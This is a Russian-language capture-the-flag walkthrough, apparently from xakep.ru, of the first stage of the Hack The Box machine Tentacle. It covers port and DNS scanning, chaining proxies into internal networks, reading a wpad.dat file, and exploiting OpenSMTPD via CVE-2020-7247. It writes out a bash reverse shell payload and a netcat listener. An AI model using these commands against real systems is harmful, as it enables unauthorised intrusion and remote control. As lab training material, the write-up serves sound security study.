Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня я покажу, как проходить машину Tentacle с площадки Hack The Box. Для этого нам понадобится пробираться через прокси в другую сеть, а также использовать протокол шифрования Windows для получения доступа к машине на Linux и повышения привилегий на ней.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Первым делом прописываем IP машины в файл /etc/hosts
.
10.10.10.224 tentacle.htb
Сканируем порты скриптом в два прохода:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скрипта
Находим четыре открытых порта:
С SSH нам пока делать нечего, поскольку учетных данных у нас нет. C DNS и Kerberos тоже пока ничего не сделать. Обращаясь к порту 3128, видим сообщение об ошибке, но из него получаем важные данные — домен и имя пользователя.
Ошибка, полученная при обращении к прокси‑серверу
Найденное доменное имя добавляем в /etc/hosts
.
10.10.10.224 realcorp.htb
Больше ничего сделать не можем, поэтому попробуем поперебирать домены. Для этого используем dnsenum. В параметрах укажем количество потоков (--threads
) и адрес сервера DNS (--dnsserver
), а словарь берем из сборки Seclists.
dnsenum --threads 32 --dnsserver 10.10.10.224 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb
Обнаруженные поддомены
Получаем несколько новых доменных имен и адресов.
Так как на хосте работают служба прокси‑сервера и служба DNS, логично проверить, доступны ли найденные из перебора адреса через этот прокси. Для этого сформируем цепочку прокси с помощью proxychains. Наша цепочка будет пропускать трафик через текущий хост в другую сеть. Proxychains добавит заголовки для маршрутизации пакетов во внутреннюю сеть.
В конфигурационном файле /etc/proxychains.conf
создадим три записи. Это и есть наша цепочка.
http 10.10.10.224 3128http 127.0.0.1 3128http 10.197.243.77 3128
Так как имя хоста — WPAD, есть немалое подозрение, что на нем работает одноименная служба. Попробуем достучаться до него и просканировать порты.
proxychains -q nmap -A 10.197.243.31
Результат сканирования портов
На этот раз получаем уже больше открытых портов, в том числе и 80-й, где развернут веб‑сервер nginx 1.14.1. Также мы получаем имя хоста — wpad.realcorp.htb
. Добавляем его в /etc/hosts
.
10.197.243.31 wpad.realcorp.htb
Теперь на мысль о службе наталкивает не только доменное имя, но и имя хоста. Протокол WPAD (Web Proxy Auto Discovery protocol) служит для того, чтобы найти файл PAC (Proxy Auto Config) — конфигурации прокси. Он представляет собой JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL.
При совершении запроса браузер вызывает функцию FindProxyForURL
из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Чтобы получить эти настройки, WPAD пытается найти PAC-скрипт с помощью опции от DHCP-сервера (что браузерами практически не поддерживается), а затем отправляет HTTP-запрос на http://wpad.[домен]/wpad.dat
и скачивает полученный файл. Значит, мы можем сами запросить файл wpad.dat
с сервера.
proxychains -q curl wpad.realcorp.htb/wpad.dat
Код функции FindProxyForURL из файла wpad.dat
Просматриваем код и находим адреса сетей, о которых мы раньше не знали. Это открывает нам новые возможности для продвижения. Стоит просканировать сеть, чтобы найти новые хосты, а там и точки входа (скрипт я приводил в начале статьи). В результате сканирования находим хост 113, в котором открыт 25-й порт. Его сканируем с использованием скриптов отдельно (опция -A
).
proxychains -q nmap 10.241.251.0/24
proxychains -q nmap -A -p25 10.241.251.113
Результат сканирования хостов в новой сети
Перед нами OpenSMTPD. А значит, стоит поискать готовые эксплоиты для него.
Если ты используешь Kali Linux, то для обращения к базе эксплоитов достаточно запустить утилиту searchsploit
:
searchsploit OpenSMTPD
Поиск эксплоитов для OpenSMTPD
Эксплоит с порядковым номером 47984 выглядит подходящим. Версия уязвимого продукта здесь больше, чем у нас. Эксплоит может дать удаленное выполнение кода через сеанс SMTP. Из описания уязвимости CVE-2020-7247 также узнаем, что баг возникает из‑за неправильного возвращаемого значения при неудачной проверке ввода в функции smtp_mailaddr
(подробности можешь узнать в коде уязвимой функции).
Однако в исходном виде этот эксплоит не срабатывает. Зачастую в таких случаях помогает просто найти альтернативную версию. Так, перебрав несколько вариантов, я наткнулся на рабочий PoC на GitHub.
В коде нужно указать свою нагрузку и поменять имя пользователя, которому отправляется сообщение. В качестве нагрузки используем обычный реверс‑шелл на bash.
bash -i &> /dev/tcp/[IP]/[PORT] 0>&1
Код эксплоита: изменение имени пользователя
Код эксплоита: измененная нагрузка
Так как мы будем выполнять бэкконнект (шелл на атакуемой машине будет подключаться к нашей), прежде чем запускать эту команду, создадим листенер, который будет принимать соединение. В качестве листенера я использую netcat (команда nc
), а в дополнение к нему — оболочку rlwrap.
apt install rlwrap
rlwrap nc -lvp [port]
Теперь выполним эксплоит и получим бэкконнект.
Результат выполнения эксплоита
Полученный бэкконнект
Отлично, мы проникли на машину! Так как мы работаем в контексте учетной записи службы, следующий шаг — получить какого‑либо пользователя. Чаще всего для этого нужно найти учетные данные.
Источник: xakep.ru